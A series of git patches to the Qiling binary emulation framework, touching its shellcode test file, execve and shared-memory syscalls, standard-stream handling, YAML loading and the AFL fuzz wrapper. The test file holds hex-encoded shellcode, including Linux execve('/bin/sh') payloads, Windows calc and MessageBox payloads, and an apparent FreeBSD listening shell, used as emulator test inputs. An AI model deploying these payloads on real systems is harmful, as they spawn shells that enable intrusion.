-import sys, unittest -from binascii import unhexlify +import sys +import unittest sys.path.append("..") -from qiling import * -from qiling.exception import * +from qiling import Qiling from qiling.const import QL_VERBOSE -test = unhexlify('cccc') -X86_LIN = unhexlify('31c050682f2f7368682f62696e89e3505389e1b00bcd80') -X8664_LIN = unhexlify('31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05') -MIPS32EL_LIN = unhexlify('ffff0628ffffd004ffff05280110e4270ff08424ab0f02240c0101012f62696e2f7368') -X86_WIN = unhexlify('fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a01eb2668318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5e8d5ffffff63616c6300') -X8664_WIN = unhexlify('fc4881e4f0ffffffe8d0000000415141505251564831d265488b52603e488b52183e488b52203e488b72503e480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed5241513e488b52203e8b423c4801d03e8b80880000004885c0746f4801d0503e8b48183e448b40204901d0e35c48ffc93e418b34884801d64d31c94831c0ac41c1c90d4101c138e075f13e4c034c24084539d175d6583e448b40244901d0663e418b0c483e448b401c4901d03e418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a3e488b12e949ffffff5d49c7c1000000003e488d95fe0000003e4c8d850f0100004831c941ba45835607ffd54831c941baf0b5a256ffd548656c6c6f2c2066726f6d204d534621004d657373616765426f7800') -ARM_LIN = unhexlify('01308fe213ff2fe178460e300190491a921a0827c251033701df2f62696e2f2f7368') -ARM_THUMB = unhexlify('401c01464fea011200bf') -ARM64_LIN = unhexlify('420002ca210080d2400080d2c81880d2010000d4e60300aa01020010020280d2681980d2010000d4410080d2420002cae00306aa080380d2010000d4210400f165ffff54e0000010420002ca210001caa81b80d2010000d4020004d27f0000012f62696e2f736800') -X8664_FBSD = unhexlify('6a61586a025f6a015e990f054897baff02aaaa80f2ff524889e699046680c2100f05046a0f05041e4831f6990f0548976a035852488d7424f080c2100f0548b8523243427730637257488d3e48af74084831c048ffc00f055f4889d04889fe48ffceb05a0f0575f799043b48bb2f62696e2f2f73685253545f5257545e0f05') -X8664_macos = unhexlify('4831f65648bf2f2f62696e2f7368574889e74831d24831c0b00248c1c828b03b0f05') + +# test = bytes.fromhex('cccc') + +X86_LIN = bytes.fromhex('31c050682f2f7368682f62696e89e3505389e1b00bcd80') +X8664_LIN = bytes.fromhex('31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05') + +MIPS32EL_LIN = bytes.fromhex(''' + ffff0628ffffd004ffff05280110e4270ff08424ab0f02240c0101012f62696e + 2f7368 +''') + +X86_WIN = bytes.fromhex(''' + fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c + 617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b5920 + 01d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475 + e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ff + e05f5f5a8b12eb8d5d6a01eb2668318b6f87ffd5bbf0b5a25668a695bd9dffd5 + 3c067c0a80fbe07505bb4713726f6a0053ffd5e8d5ffffff63616c6300 +''') + +X8664_WIN = bytes.fromhex(''' + fc4881e4f0ffffffe8d0000000415141505251564831d265488b52603e488b52 + 183e488b52203e488b72503e480fb74a4a4d31c94831c0ac3c617c022c2041c1 + c90d4101c1e2ed5241513e488b52203e8b423c4801d03e8b80880000004885c0 + 746f4801d0503e8b48183e448b40204901d0e35c48ffc93e418b34884801d64d + 31c94831c0ac41c1c90d4101c138e075f13e4c034c24084539d175d6583e448b + 40244901d0663e418b0c483e448b401c4901d03e418b04884801d0415841585e + 595a41584159415a4883ec204152ffe05841595a3e488b12e949ffffff5d49c7 + c1000000003e488d95fe0000003e4c8d850f0100004831c941ba45835607ffd5 + 4831c941baf0b5a256ffd548656c6c6f2c2066726f6d204d534621004d657373 + 616765426f7800 +''') + +ARM_LIN = bytes.fromhex(''' + 01308fe213ff2fe178460e300190491a921a0827c251033701df2f62696e2f2f + 7368 +''') + +ARM_THUMB = bytes.fromhex('401c01464fea011200bf') + +ARM64_LIN = bytes.fromhex(''' + 420002ca210080d2400080d2c81880d2010000d4e60300aa01020010020280d2 + 681980d2010000d4410080d2420002cae00306aa080380d2010000d4210400f1 + 65ffff54e0000010420002ca210001caa81b80d2010000d4020004d27f000001 + 2f62696e2f736800 +''') + +X8664_FBSD = bytes.fromhex(''' + 6a61586a025f6a015e990f054897baff02aaaa80f2ff524889e699046680c210 + 0f05046a0f05041e4831f6990f0548976a035852488d7424f080c2100f0548b8 + 523243427730637257488d3e48af74084831c048ffc00f055f4889d04889fe48 + ffceb05a0f0575f799043b48bb2f62696e2f2f73685253545f5257545e0f05 +''') + +X8664_MACOS = bytes.fromhex(''' + 4831f65648bf2f2f62696e2f7368574889e74831d24831c0b00248c1c828b03b + 0f05 +''') + class TestShellcode(unittest.TestCase): def test_linux_x86(self): print("Linux X86 32bit Shellcode") - ql = Qiling(code = X86_LIN, archtype = "x86", ostype = "linux", verbose=QL_VERBOSE.OFF) + ql = Qiling(code=X86_LIN, archtype="x86", ostype="linux", verbose=QL_VERBOSE.OFF) ql.run() def test_linux_x64(self): print("Linux X86 64bit Shellcode") - ql = Qiling(code = X8664_LIN, archtype = "x8664", ostype = "linux", verbose=QL_VERBOSE.OFF) + ql = Qiling(code=X8664_LIN, archtype="x8664", ostype="linux", verbose=QL_VERBOSE.OFF) ql.run() def test_linux_mips32(self): print("Linux MIPS 32bit EL Shellcode") - ql = Qiling(code = MIPS32EL_LIN, archtype = "mips", ostype = "linux", verbose=QL_VERBOSE.OFF) + ql = Qiling(code=MIPS32EL_LIN, archtype="mips", ostype="linux", verbose=QL_VERBOSE.OFF) ql.run() - #This shellcode needs to be changed to something non-blocking + # This shellcode needs to be changed to something non-blocking def test_linux_arm(self): - print("Linux ARM 32bit Shellcode") - ql = Qiling(code = ARM_LIN, archtype = "arm", ostype = "linux", verbose=QL_VERBOSE.OFF) - ql.run() - + print("Linux ARM 32bit Shellcode") + ql = Qiling(code=ARM_LIN, archtype="arm", ostype="linux", verbose=QL_VERBOSE.OFF) + ql.run() def test_linux_arm_thumb(self): print("Linux ARM Thumb Shllcode") - ql = Qiling(code = ARM_THUMB, archtype = "arm", ostype = "linux", verbose=QL_VERBOSE.OFF, thumb = True) + ql = Qiling(code=ARM_THUMB, archtype="arm", ostype="linux", verbose=QL_VERBOSE.OFF, thumb=True) ql.run() - def test_linux_arm64(self): print("Linux ARM 64bit Shellcode") - ql = Qiling(code = ARM64_LIN, archtype = "arm64", ostype = "linux", verbose=QL_VERBOSE.OFF) + ql = Qiling(code=ARM64_LIN, archtype="arm64", ostype="linux", verbose=QL_VERBOSE.OFF) ql.run() # #This shellcode needs to be changed to something simpler not requiring rootfs # def test_windows_x86(self): # print("Windows X86 32bit Shellcode") - # ql = Qiling(code = X86_WIN, archtype = "x86", ostype = "windows", rootfs="../examples/rootfs/x86_reactos", verbose=QL_VERBOSE.OFF) + # ql = Qiling(code=X86_WIN, archtype="x86", ostype="windows", rootfs="../examples/rootfs/x86_reactos", verbose=QL_VERBOSE.OFF) # ql.run() # #This shellcode needs to be changed to something simpler not requiring rootfs # def test_windows_x64(self): # print("\nWindows X8664 64bit Shellcode") - # ql = Qiling(code = X8664_WIN, archtype = "x8664", ostype = "windows", rootfs="../examples/rootfs/x86_reactos", verbose=QL_VERBOSE.OFF) + # ql = Qiling(code=X8664_WIN, archtype="x8664", ostype="windows", rootfs="../examples/rootfs/x86_reactos", verbose=QL_VERBOSE.OFF) # ql.run() - #This shellcode needs to be changed to something simpler, listen is blocking - #def test_freebsd_x64(self): + # #This shellcode needs to be changed to something simpler, listen is blocking + # def test_freebsd_x64(self): # print("FreeBSD X86 64bit Shellcode") - # ql = Qiling(code = X8664_FBSD, archtype = "x8664", ostype = "freebsd", verbose=QL_VERBOSE.OFF) + # ql = Qiling(code=X8664_FBSD, archtype="x8664", ostype="freebsd", verbose=QL_VERBOSE.OFF) # ql.run() # def test_macos_x64(self): # print("macos X86 64bit Shellcode") - # ql = Qiling(code = X8664_macos, archtype = "x8664", ostype = "macos", verbose=QL_VERBOSE.OFF) + # ql = Qiling(code=X8664_macos, archtype="x8664", ostype="macos", verbose=QL_VERBOSE.OFF) # ql.run() # def test_invalid_os(self): # print("Testing Unknown OS") - # self.assertRaises(QlErrorOsType, Qiling, code = test, archtype = "arm64", ostype = "qilingos", verbose=QL_VERBOSE.DEFAULT ) + # self.assertRaises(QlErrorOsType, Qiling, code=test, archtype="arm64", ostype="qilingos", verbose=QL_VERBOSE.DEFAULT ) # def test_invalid_arch(self): # print("Testing Unknown Arch") - # self.assertRaises(QlErrorArch, Qiling, code = test, archtype = "qilingarch", ostype = "linux", verbose=QL_VERBOSE.DEFAULT ) + # self.assertRaises(QlErrorArch, Qiling, code=test, archtype="qilingarch", ostype="linux", verbose=QL_VERBOSE.DEFAULT ) # def test_invalid_output(self): # print("Testing Invalid output") - # self.assertRaises(QlErrorOutput, Qiling, code = test, archtype = "arm64", ostype = "linux", verbose=QL_VERBOSE.DEFAULT ) - + # self.assertRaises(QlErrorOutput, Qiling, code=test, archtype="arm64", ostype="linux", verbose=QL_VERBOSE.DEFAULT ) + if __name__ == "__main__": unittest.main() From 32666805cf0199a8e6725d50201684dc7cebc04f Mon Sep 17 00:00:00 2001 From: elicn Date: Mon, 3 Apr 2023 16:39:42 +0300 Subject: [PATCH 053/103] Allow shellcode execve fail gracefully --- tests/test_shellcode.py | 22 +++++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) diff --git a/tests/test_shellcode.py b/tests/test_shellcode.py index 95b414ca5..3aa0adb9c 100644 --- a/tests/test_shellcode.py +++ b/tests/test_shellcode.py @@ -8,7 +8,7 @@ sys.path.append("..") from qiling import Qiling -from qiling.const import QL_VERBOSE +from qiling.const import QL_INTERCEPT, QL_VERBOSE # test = bytes.fromhex('cccc') @@ -70,6 +70,22 @@ ''') +# some shellcodes call execve, which under normal circumstences, does not return. +# however, those shellcodes attempt to run a non-exsting '/bin/sh' binary and do +# not bother to handle failures gracefully. +# +# the execution then continues to the next bytes, which are usually the '/bin/sh' +# string and not valid code. that causes Qiling to raise an exception, and this is +# why we need a way to thwart those execve failures and end the emulation gracefully +def graceful_execve(ql: Qiling, pathname: int, argv: int, envp: int, retval: int): + assert retval != 0, f'execve is not expected to return on success' + + vpath = ql.os.utils.read_cstring(pathname) + + ql.log.debug(f'failed to call execve("{vpath}"), ending emulation gracefully') + ql.stop() + + class TestShellcode(unittest.TestCase): def test_linux_x86(self): print("Linux X86 32bit Shellcode") @@ -84,6 +100,8 @@ def test_linux_x64(self): def test_linux_mips32(self): print("Linux MIPS 32bit EL Shellcode") ql = Qiling(code=MIPS32EL_LIN, archtype="mips", ostype="linux", verbose=QL_VERBOSE.OFF) + + ql.os.set_syscall('execve', graceful_execve, QL_INTERCEPT.EXIT) ql.run() # This shellcode needs to be changed to something non-blocking @@ -100,6 +118,8 @@ def test_linux_arm_thumb(self): def test_linux_arm64(self): print("Linux ARM 64bit Shellcode") ql = Qiling(code=ARM64_LIN, archtype="arm64", ostype="linux", verbose=QL_VERBOSE.OFF) + + ql.os.set_syscall('execve', graceful_execve, QL_INTERCEPT.EXIT) ql.run() # #This shellcode needs to be changed to something simpler not requiring rootfs From d9ff19d113a749747bc7ec38cf32988121b82d61 Mon Sep 17 00:00:00 2001 From: elicn Date: Mon, 3 Apr 2023 16:40:09 +0300 Subject: [PATCH 054/103] Patch POSIX execve --- qiling/os/posix/syscall/unistd.py | 40 +++++++++++++++++++++++-------- 1 file changed, 30 insertions(+), 10 deletions(-) diff --git a/qiling/os/posix/syscall/unistd.py b/qiling/os/posix/syscall/unistd.py index 6f413cf3d..901199b07 100644 --- a/qiling/os/posix/syscall/unistd.py +++ b/qiling/os/posix/syscall/unistd.py @@ -549,10 +549,18 @@ def ql_syscall_setsid(ql: Qiling): def ql_syscall_execve(ql: Qiling, pathname: int, argv: int, envp: int): - file_path = ql.os.utils.read_cstring(pathname) - real_path = ql.os.path.transform_to_real_path(file_path) + vpath = ql.os.utils.read_cstring(pathname) + hpath = ql.os.path.virtual_to_host_path(vpath) - def __read_str_array(addr: int) -> Iterator[str]: + # is it safe to run? + if not ql.os.path.is_safe_host_path(hpath): + return -1 # EACCES + + # is it a file? does it exist? + if not os.path.isfile(hpath): + return -1 # EACCES + + def __read_ptr_array(addr: int) -> Iterator[int]: if addr: while True: elem = ql.mem.read_ptr(addr) @@ -560,25 +568,28 @@ def __read_str_array(addr: int) -> Iterator[str]: if elem == 0: break - yield ql.os.utils.read_cstring(elem) + yield elem addr += ql.arch.pointersize - args = [s for s in __read_str_array(argv)] + def __read_str_array(addr: int) -> Iterator[str]: + yield from (ql.os.utils.read_cstring(ptr) for ptr in __read_ptr_array(addr)) + + args = list(__read_str_array(argv)) env = {} for s in __read_str_array(envp): k, _, v = s.partition('=') env[k] = v - ql.emu_stop() + ql.stop() + ql.clear_ql_hooks() + ql.mem.unmap_all() - ql.log.debug(f'execve({file_path}, [{", ".join(args)}], [{", ".join(f"{k}={v}" for k, v in env.items())}])') + ql.log.debug(f'execve("{vpath}", [{", ".join(args)}], [{", ".join(f"{k}={v}" for k, v in env.items())}])') ql.loader.argv = args ql.loader.env = env - ql._argv = [real_path] + args - ql.mem.map_info = [] - ql.clear_ql_hooks() + ql._argv = [hpath] + args # Clean debugger to prevent port conflicts # ql.debugger = None @@ -599,6 +610,15 @@ def __read_str_array(addr: int) -> Iterator[str]: QlCoreHooks.__init__(ql, uc) ql.os.load() + + # close all open fd marked with 'close_on_exec' + for i in range(NR_OPEN): + f = ql.os.fd[i] + + if f and f.close_on_exec and not f.closed: + f.close() + ql.os.fd[i] = None + ql.loader.run() ql.run() From b3de208edb3888ee8a45462fa0a9df2bc9302f90 Mon Sep 17 00:00:00 2001 From: elicn Date: Mon, 3 Apr 2023 16:43:01 +0300 Subject: [PATCH 055/103] Prevent emulation from closing host std streams --- qiling/os/filestruct.py | 16 ++++++++++++++++ qiling/os/os.py | 25 +++++++++++++++++-------- 2 files changed, 33 insertions(+), 8 deletions(-) diff --git a/qiling/os/filestruct.py b/qiling/os/filestruct.py index 6c93ed825..01858c2f6 100644 --- a/qiling/os/filestruct.py +++ b/qiling/os/filestruct.py @@ -94,3 +94,19 @@ def name(self): @property def closed(self) -> bool: return self.__closed + + +class PersistentQlFile(ql_file): + """A persistent variation of the ql_file class, which silently drops + attempts to close its udnerlying file. This is useful when using host + environment resources, which should not be closed when their wrapping + ql_file gets closed. + + For example, stdout and stderr might be closed by the emulated program + by calling POSIX dup2 or dup3 system calls, and then replaced by another + file or socket. this class prevents the emulated program from closing + shared resources on the hosting system. + """ + + def close(self): + pass diff --git a/qiling/os/os.py b/qiling/os/os.py index 19553ff2a..6d759bf59 100644 --- a/qiling/os/os.py +++ b/qiling/os/os.py @@ -4,6 +4,7 @@ # import sys +from io import UnsupportedOperation from typing import Any, Hashable, Iterable, Optional, Callable, Mapping, Sequence, TextIO, Tuple from unicorn import UcError @@ -13,7 +14,7 @@ from qiling.os.const import STRING, WSTRING, GUID from qiling.os.fcall import QlFunctionCall, TypedArg -from .filestruct import ql_file +from .filestruct import PersistentQlFile from .mapper import QlFsMapper from .stats import QlOsStats from .utils import QlOsUtils @@ -53,17 +54,25 @@ def __init__(self, ql: Qiling, resolvers: Mapping[Any, Resolver] = {}): QL_INTERCEPT.EXIT: {} } - # IDAPython has some hack on standard io streams and thus they don't have corresponding fds. try: - import ida_idaapi - except ImportError: - self._stdin = ql_file('stdin', sys.stdin.fileno()) - self._stdout = ql_file('stdout', sys.stdout.fileno()) - self._stderr = ql_file('stderr', sys.stderr.fileno()) - else: + # Qiling may be used on interactive shells (ex: IDLE) or embedded python + # interpreters (ex: IDA Python). such environments use their own version + # for the standard streams which usually do not support certain operations, + # such as fileno(). here we use this to determine how we are going to use + # the environment standard streams + sys.stdin.fileno() + except UnsupportedOperation: + # Qiling is used on an interactive shell or embedded python interpreter. + # if the internal stream buffer is accessible, we should use it self._stdin = getattr(sys.stdin, 'buffer', sys.stdin) self._stdout = getattr(sys.stdout, 'buffer', sys.stdout) self._stderr = getattr(sys.stderr, 'buffer', sys.stderr) + else: + # Qiling is used in a script, or on an environment that supports ordinary + # stanard streams + self._stdin = PersistentQlFile('stdin', sys.stdin.fileno()) + self._stdout = PersistentQlFile('stdout', sys.stdout.fileno()) + self._stderr = PersistentQlFile('stderr', sys.stderr.fileno()) # defult exit point self.exit_point = { From 32a8588ff69bc5c8321c6967b39d0013114cd7ad Mon Sep 17 00:00:00 2001 From: elicn Date: Mon, 3 Apr 2023 16:44:52 +0300 Subject: [PATCH 056/103] Insignificant styling and typo fixes --- qiling/os/filestruct.py | 13 +++++++------ qiling/os/linux/linux.py | 2 ++ qiling/os/os.py | 6 +++--- qiling/os/posix/syscall/socket.py | 2 +- 4 files changed, 13 insertions(+), 10 deletions(-) diff --git a/qiling/os/filestruct.py b/qiling/os/filestruct.py index 01858c2f6..c57bbc54e 100644 --- a/qiling/os/filestruct.py +++ b/qiling/os/filestruct.py @@ -1,10 +1,10 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # import os -from typing import AnyStr +from typing import AnyStr, Optional from qiling.exception import * from qiling.os.posix.stat import * @@ -14,6 +14,7 @@ except ImportError: pass + class ql_file: def __init__(self, path: AnyStr, fd: int): self.__path = path @@ -26,15 +27,15 @@ def __init__(self, path: AnyStr, fd: int): self.close_on_exec = False @classmethod - def open(cls, open_path: AnyStr, open_flags: int, open_mode: int, dir_fd: int = None): - open_mode &= 0x7fffffff + def open(cls, path: AnyStr, flags: int, mode: int, dir_fd: Optional[int] = None): + mode &= 0x7fffffff try: - fd = os.open(open_path, open_flags, open_mode, dir_fd=dir_fd) + fd = os.open(path, flags, mode, dir_fd=dir_fd) except OSError as e: raise QlSyscallError(e.errno, e.args[1] + ' : ' + e.filename) - return cls(open_path, fd) + return cls(path, fd) def read(self, read_len: int) -> bytes: return os.read(self.__fd, read_len) diff --git a/qiling/os/linux/linux.py b/qiling/os/linux/linux.py index 7b706077a..0313218d6 100644 --- a/qiling/os/linux/linux.py +++ b/qiling/os/linux/linux.py @@ -167,12 +167,14 @@ def run(self): if self.ql.entry_point is not None: self.ql.loader.elf_entry = self.ql.entry_point + # do we have an interp? elif self.ql.loader.elf_entry != self.ql.loader.entry_point: entry_address = self.ql.loader.elf_entry if self.ql.arch.type == QL_ARCH.ARM: entry_address &= ~1 + # start running interp, but stop when elf entry point is reached self.ql.emu_start(self.ql.loader.entry_point, entry_address, self.ql.timeout) self.ql.do_lib_patch() self.run_function_after_load() diff --git a/qiling/os/os.py b/qiling/os/os.py index 6d759bf59..7982fe946 100644 --- a/qiling/os/os.py +++ b/qiling/os/os.py @@ -5,7 +5,7 @@ import sys from io import UnsupportedOperation -from typing import Any, Hashable, Iterable, Optional, Callable, Mapping, Sequence, TextIO, Tuple +from typing import Any, Dict, Iterable, Optional, Callable, Mapping, Sequence, TextIO, Tuple, Union from unicorn import UcError @@ -48,7 +48,7 @@ def __init__(self, ql: Qiling, resolvers: Mapping[Any, Resolver] = {}): self.path = QlOsPath(ql.rootfs, cwd, self.type) self.fs_mapper = QlFsMapper(self.path) - self.user_defined_api = { + self.user_defined_api: Dict[QL_INTERCEPT, Dict[Union[int, str], Callable]] = { QL_INTERCEPT.CALL: {}, QL_INTERCEPT.ENTER: {}, QL_INTERCEPT.EXIT: {} @@ -216,7 +216,7 @@ def call(self, pc: int, func: Callable, proto: Mapping[str, Any], onenter: Optio return retval - def set_api(self, target: Hashable, handler: Callable, intercept: QL_INTERCEPT = QL_INTERCEPT.CALL): + def set_api(self, target: Union[int, str], handler: Callable, intercept: QL_INTERCEPT = QL_INTERCEPT.CALL): """Either hook or replace an OS API with a custom one. Args: diff --git a/qiling/os/posix/syscall/socket.py b/qiling/os/posix/syscall/socket.py index 4fd56dafb..01068aacc 100644 --- a/qiling/os/posix/syscall/socket.py +++ b/qiling/os/posix/syscall/socket.py @@ -266,7 +266,7 @@ def ql_syscall_connect(ql: Qiling, sockfd: int, addr: int, addrlen: int): port = ntohs(ql, sockaddr_obj.sin_port) host = inet6_htoa(ql, sockaddr_obj.sin6_addr.s6_addr) - ql.log.debug(f'Conecting to {host}:{port}') + ql.log.debug(f'Connecting to {host}:{port}') dest = (host, port) if dest is not None: From 48cc58d0953925896934b4ed54dd7118e4564006 Mon Sep 17 00:00:00 2001 From: elicn Date: Tue, 4 Apr 2023 18:58:33 +0300 Subject: [PATCH 057/103] Properly set emu_state --- qiling/core.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/qiling/core.py b/qiling/core.py index 70c2ecad4..536ddbd54 100644 --- a/qiling/core.py +++ b/qiling/core.py @@ -757,14 +757,16 @@ def emu_start(self, begin: int, end: int, timeout: int = 0, count: int = 0): if getattr(self.arch, '_init_thumb', False): begin |= 0b1 - self._state = QL_STATE.STARTED - # reset exception status before emulation starts self._internal_exception = None + self._state = QL_STATE.STARTED + # effectively start the emulation. this returns only after uc.emu_stop is called self.uc.emu_start(begin, end, timeout, count) + self._state = QL_STATE.STOPPED + # if an exception was raised during emulation, propagate it up if self.internal_exception is not None: raise self.internal_exception From c069a102de642e152e630c6b3db56c57b756e31f Mon Sep 17 00:00:00 2001 From: elicn Date: Tue, 4 Apr 2023 18:58:59 +0300 Subject: [PATCH 058/103] Collect new vcruntime140 DLLs --- examples/scripts/dllscollector.bat | 2 ++ 1 file changed, 2 insertions(+) diff --git a/examples/scripts/dllscollector.bat b/examples/scripts/dllscollector.bat index 048d5f9c3..cd115093e 100644 --- a/examples/scripts/dllscollector.bat +++ b/examples/scripts/dllscollector.bat @@ -118,6 +118,8 @@ CALL :collect_dll64 shlwapi.dll CALL :collect_dll64 user32.dll CALL :collect_dll64 vcruntime140.dll CALL :collect_dll64 vcruntime140d.dll +CALL :collect_dll64 vcruntime140_1.dll +CALL :collect_dll64 vcruntime140_1d.dll CALL :collect_dll64 win32u.dll CALL :collect_dll64 winhttp.dll CALL :collect_dll64 wininet.dll From 412bcafde16be9a6e95b09817cda6000080f6efe Mon Sep 17 00:00:00 2001 From: elicn Date: Tue, 4 Apr 2023 19:15:58 +0300 Subject: [PATCH 059/103] Use yaml safe loader --- qiling/utils.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/qiling/utils.py b/qiling/utils.py index 14528b689..ccdd970ee 100644 --- a/qiling/utils.py +++ b/qiling/utils.py @@ -402,7 +402,7 @@ def profile_setup(ostype: QL_OS, user_config: Optional[Union[str, dict]]): if user_config: with open(user_config) as f: - config = yaml.load(f, Loader=yaml.Loader) + config = yaml.load(f, Loader=yaml.SafeLoader) else: config = {} From 85430f08704a6b27d86509f3f07067fbf55986ac Mon Sep 17 00:00:00 2001 From: elicn Date: Fri, 7 Apr 2023 16:35:41 +0300 Subject: [PATCH 060/103] Use mmap min address for shm allocations --- qiling/os/posix/syscall/shm.py | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/qiling/os/posix/syscall/shm.py b/qiling/os/posix/syscall/shm.py index 926f72e49..4d2f5e162 100644 --- a/qiling/os/posix/syscall/shm.py +++ b/qiling/os/posix/syscall/shm.py @@ -31,20 +31,25 @@ def __create_shm(size: int, flags: int) -> int: else: pagesize = ql.mem.pagesize - size = ql.mem.align_up(size, pagesize) - if len(ql.os.shm) < SHMMNI: + shm_size = ql.mem.align_up(size, pagesize) + try: - key = ql.mem.map_anywhere(size, perms=uc_perms, info='[shm]') + shm_addr = ql.mem.find_free_space(shm_size, ql.loader.mmap_address, align=pagesize) except QlOutOfMemory: return -1 # ENOMEM + else: + ql.mem.map(shm_addr, shm_size, uc_perms, '[shm]') + + # for simplicity, the shm key is defined to be its base address + shm_key = shm_addr - ql.os.shm[key] = QlShmId(size, ql.os.uid, ql.os.gid, perms) + ql.os.shm[shm_key] = QlShmId(shm_size, ql.os.uid, ql.os.gid, perms) else: return -1 # ENOSPC - return key + return shm_key # create new shared memory segment if key == IPC_PRIVATE: @@ -52,7 +57,7 @@ def __create_shm(size: int, flags: int) -> int: # a shm with the specified key exists elif key in ql.os.shm: - # ... but the user requested to create a new one + # user asked to create a new one? if shmflg & (IPC_CREAT | IPC_EXCL): return -1 # EEXIST @@ -68,6 +73,7 @@ def __create_shm(size: int, flags: int) -> int: # a shm with the specified key does not exist else: + # user asked to create a new one? if shmflg & IPC_CREAT: key = __create_shm(size, shmflg) @@ -82,7 +88,9 @@ def ql_syscall_shmat(ql: Qiling, shmid: int, shmaddr: int, shmflg: int): return -1 # EINVAL if shmaddr == 0: - # system may choose any suitable page-aligned address, so just use the key + # system may choose any suitable page-aligned address. since existing segments are + # guaranteed to be aligned and key is defined to be shm base address, we can just + # use the key addr = shmid elif shmflg & SHM_RND: From 06cd3f09a980c41054f0e7075edea5ba1f7fe2d4 Mon Sep 17 00:00:00 2001 From: elicn Date: Fri, 7 Apr 2023 16:58:47 +0300 Subject: [PATCH 061/103] Typo bugfix --- qiling/os/posix/syscall/syscall.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/qiling/os/posix/syscall/syscall.py b/qiling/os/posix/syscall/syscall.py index 53b3dc0e9..3fe7cbe33 100644 --- a/qiling/os/posix/syscall/syscall.py +++ b/qiling/os/posix/syscall/syscall.py @@ -20,7 +20,7 @@ def __call_shmat(*args: int) -> int: if version == 1: return -1 # EINVAL - return ql_syscall_shmget(ql, args[0], args[3], args[1]) + return ql_syscall_shmat(ql, args[0], args[3], args[1]) def __call_shmget(*args: int) -> int: return ql_syscall_shmget(ql, args[0], args[1], args[2]) From 88a76a2abfb5168d1de4fac16c20d5019ad77512 Mon Sep 17 00:00:00 2001 From: Z1pburg3r Date: Sat, 1 Apr 2023 15:07:44 -0400 Subject: [PATCH 062/103] Fix struct packing logic associated with calls to getdents64. --- qiling/os/posix/syscall/unistd.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/qiling/os/posix/syscall/unistd.py b/qiling/os/posix/syscall/unistd.py index b52f5e4b7..5be76f494 100644 --- a/qiling/os/posix/syscall/unistd.py +++ b/qiling/os/posix/syscall/unistd.py @@ -766,7 +766,7 @@ def _type_mapping(ent): return bytes([t]) if ql.os.fd[fd].tell() == 0: - n = ql.arch.pointersize + n = 8 if is_64 else ql.arch.pointersize total_size = 0 results = os.scandir(ql.os.fd[fd].name) _ent_count = 0 @@ -787,8 +787,8 @@ def _type_mapping(ent): if is_64: fields = ( - (ql.pack(d_ino), n), - (ql.pack(d_off), n), + (ql.pack64(d_ino), n), + (ql.pack64(d_off), n), (ql.pack16(d_reclen), 2), (d_type, 1), (d_name, len(d_name)) From ba7414ab175f708aff0b9b929f555ad26a2fb6f8 Mon Sep 17 00:00:00 2001 From: gnbon Date: Wed, 29 Mar 2023 12:41:33 +0900 Subject: [PATCH 063/103] Improve afl_fuzz wrapper --- qiling/extensions/afl/afl.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/qiling/extensions/afl/afl.py b/qiling/extensions/afl/afl.py index 6f078448d..99c15a7d8 100644 --- a/qiling/extensions/afl/afl.py +++ b/qiling/extensions/afl/afl.py @@ -28,9 +28,6 @@ def ql_afl_fuzz(ql: Qiling, :raises UcAflError: If something wrong happens with the fuzzer. """ - ql.uc.ctl_exits_enabled(True) - ql.uc.ctl_set_exits(exits) - def _dummy_fuzz_callback(_ql: "Qiling"): if isinstance(_ql.arch, QlArchARM): pc = _ql.arch.effective_pc @@ -43,17 +40,21 @@ def _dummy_fuzz_callback(_ql: "Qiling"): return UC_ERR_OK - return ql_afl_fuzz_custom(ql, input_file, place_input_callback, _dummy_fuzz_callback, + return ql_afl_fuzz_custom(ql, input_file, place_input_callback, _dummy_fuzz_callback, exits, validate_crash_callback, always_validate, persistent_iters) def ql_afl_fuzz_custom(ql: Qiling, input_file: str, place_input_callback: Callable[["Qiling", bytes, int], bool], fuzzing_callback: Callable[["Qiling"], int], + exits: List[int] = [], validate_crash_callback: Callable[["Qiling", bytes, int], bool] = None, always_validate: bool = False, persistent_iters: int = 1): + ql.uc.ctl_exits_enabled(True) + ql.uc.ctl_set_exits(exits) + def _ql_afl_place_input_wrapper(uc, input_bytes, iters, data): (ql, cb, _, _) = data From bb0c5f364cc21faf84be5c36f91978c93e371035 Mon Sep 17 00:00:00 2001 From: gnbon Date: Thu, 30 Mar 2023 10:59:56 +0900 Subject: [PATCH 064/103] Update fuzzing sample due to changes in fuzz wrapper --- examples/fuzzing/stm32f429/fuzz.py | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/examples/fuzzing/stm32f429/fuzz.py b/examples/fuzzing/stm32f429/fuzz.py index 3f90bd212..c4da71397 100644 --- a/examples/fuzzing/stm32f429/fuzz.py +++ b/examples/fuzzing/stm32f429/fuzz.py @@ -42,10 +42,7 @@ def fuzzing_callback(ql: Qiling): return UC_ERR_OK - ql.uc.ctl_exits_enabled(True) - ql.uc.ctl_set_exits([0x80006d9]) - - ql_afl_fuzz_custom(ql, input_file, place_input_callback, fuzzing_callback=fuzzing_callback) + ql_afl_fuzz_custom(ql, input_file, place_input_callback, fuzzing_callback=fuzzing_callback, exits=[0x80006d9]) 